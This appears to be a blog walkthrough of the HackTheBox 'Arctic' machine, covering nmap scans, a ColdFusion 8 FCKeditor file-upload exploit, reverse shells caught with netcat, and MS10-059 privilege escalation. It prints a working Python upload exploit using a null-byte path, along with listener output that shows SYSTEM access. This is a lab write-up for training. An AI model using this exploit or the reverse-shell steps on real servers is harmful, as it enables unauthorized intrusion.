┌──(kali㉿kali)-[~/…/Artic/recon/10.10.10.11/nmap] └─$ cat Basic_10.10.10.11.nmap # Nmap 7.91 scan initiated Tue Jan 26 00:15:51 2021 as: nmap -Pn -sCV -p135,8500,49154 -oN nmap/Basic_10.10.10.11.nmap 10.10.10.11 Nmap scan report for 10.10.10.11 Host is up (0.18s latency).
PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 8500/tcp open fmtp? 49154/tcp open msrpc Microsoft Windows RPC Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Tue Jan 26 00:18:11 2021 -- 1 IP address (1 host up) scanned in 140.47 seconds ┌──(kali㉿kali)-[~/…/Artic/recon/10.10.10.11/nmap] └─$ cat Quick_10.10.10.11.nmap # Nmap 7.91 scan initiated Tue Jan 26 00:15:36 2021 as: nmap -Pn -T4 --max-retries 1 --max-scan-delay 20 --defeat-rst-ratelimit --open -oN nmap/Quick_10.10.10.11.nmap 10.10.10.11 Nmap scan report for 10.10.10.11 Host is up (0.18s latency). Not shown: 997 filtered ports Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE 135/tcp open msrpc 8500/tcp open fmtp 49154/tcp open unknown
# Nmap done at Tue Jan 26 00:15:50 2021 -- 1 IP address (1 host up) scanned in 13.99 seconds
There is an msrpc running at 135 and fmtp( Flight Message Transfer Protocol ) at port 8500 and something at port 49154.
This is the first time I am coming across the fmtp protocol. Checking it out.
Adobe Cold Fusion 8. Again, seeing this for the first time.
Checking for known vulnerabilities, I found a gem in HackTheBox forum.
Exploit
There is a file upload vulnerability in ColdFusion 8. The above script allows me to send a jsp file into /userfiles/file/ directory.
Creating a jsp reverse shell and sending it to the server + Running a listner at 443.
┌──(kali㉿kali)-[~] └─$ sudo nc -nvlp 443 listening on [any] 443 ... connect to [10.10.14.15] from (UNKNOWN) [10.10.10.11] 49181 Microsoft Windows [Version 6.1.7600] Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\ColdFusion8\runtime\bin>dir dir Volume in drive C has no label. Volume Serial Number is F88F-4EA5
┌──(kali㉿kali)-[~/GitRepos/windows-kernel-exploits/win-exp-suggester] └─$ ./windows-exploit-suggester.py --database 2021-02-15-mssb.xls --systeminfo systeminfo [*] initiating winsploit version 3.3... [*] database file detected as xls or xlsx based on extension [*] attempting to read from the systeminfo input file [+] systeminfo input file read successfully (utf-8) [*] querying database file for potential vulnerabilities [*] comparing the 0 hotfix(es) against the 197 potential bulletins(s) with a database of 137 known exploits [*] there are now 197 remaining vulns [+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin [+] windows version identified as 'Windows 2008 R2 64-bit' [*] [M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical [M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important [E] MS12-037: Cumulative Security Update for Internet Explorer (2699988) - Critical [*] http://www.exploit-db.com/exploits/35273/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5., PoC [*] http://www.exploit-db.com/exploits/34815/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5.0 Bypass (MS12-037), PoC [*] [E] MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important [M] MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) - Important [M] MS10-061: Vulnerability in Print Spooler Service Could Allow Remote Code Execution (2347290) - Critical [E] MS10-059: Vulnerabilities in the Tracing Feature for Services Could Allow Elevation of Privilege (982799) - Important [E] MS10-047: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (981852) - Important [M] MS10-002: Cumulative Security Update for Internet Explorer (978207) - Critical [M] MS09-072: Cumulative Security Update for Internet Explorer (976325) - Critical [*] done
There are multiple methods to do PrivEsc here, I have tried all but only one works MS10-59. There is already a complied version in the exploit directory but that didn’t work. Found another compiled binary from egre55. This works!
Let’s move to the actual method I followed.
The file upload vuln got me thinking, if I am able to change the file type as binary in File upload script. Then the binary can be send to the host using the same method.
Changing the MIME type to application/octet-stream in the FileUpload script and a couple more stuff. This will allow us to upload binary files.
try: ip = sys.argv[1] port = sys.argv[2] iflen(sys.argv) == 5: path = sys.argv[3] with open(sys.argv[4], 'r') as payload: body=payload.read() else: path = "" with open(sys.argv[3], 'r') as payload: body=payload.read() except IndexError: print 'Usage: ./exploit.py <target ip/hostname> <target port> [/path/to/coldfusion] </path/to/payload.exe>' print 'Example: ./exploit.py example.com 8500 /home/arrexel/shell.exe' sys.exit(-1)
basepath = "http://" + ip + ":" + port + path
print 'Sending payload...'
try: req = requests.post(basepath + "/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm?Command=FileUpload&Type=File&CurrentFolder=/exploits.exe%00", files={'newfile': ('exploit.txt', body, 'application/octet-stream')}, timeout=30) if req.status_code == 200: print 'Successfully uploaded payload!\nFind it at ' + basepath + '/userfiles/file/exploits.exe' else: print 'Failed to upload payload... ' + str(req.status_code) + ' ' + req.reason except requests.Timeout: print 'Failed to upload payload... Request timed out'
Trying it out!
1 2 3 4 5 6 7 8 9
┌──(kali㉿kali)-[~/HackTheBox/Artic/exploit] └─$ python FileUpload.py 10.10.10.11 8500 Chimichurri.exe /usr/share/offsec-awae-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release. Sending payload... Successfully uploaded payload! Find it at http://10.10.10.11:8500/userfiles/file/exploits.exe
The file is stored in C:\ColdFusion8\wwwroot\userfiles\file directory. Running the exploit with args IP and Port of the local system, to get a reverse shell with root access.
┌──(kali㉿kali)-[~] └─$ sudo nc -nvlp 53 1 ⨯ [sudo] password for kali: listening on [any] 53 ... connect to [10.10.14.15] from (UNKNOWN) [10.10.10.11] 49201 Microsoft Windows [Version 6.1.7600] Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\ColdFusion8\wwwroot\userfiles\file>whoami whoami nt authority\system
C:\ColdFusion8\wwwroot\userfiles\file>cd C:\ cd C:\
C:\>cd Users\Administrator\Desktop cd Users\Administrator\Desktop
C:\Users\Administrator\Desktop>type root.txt type root.txt
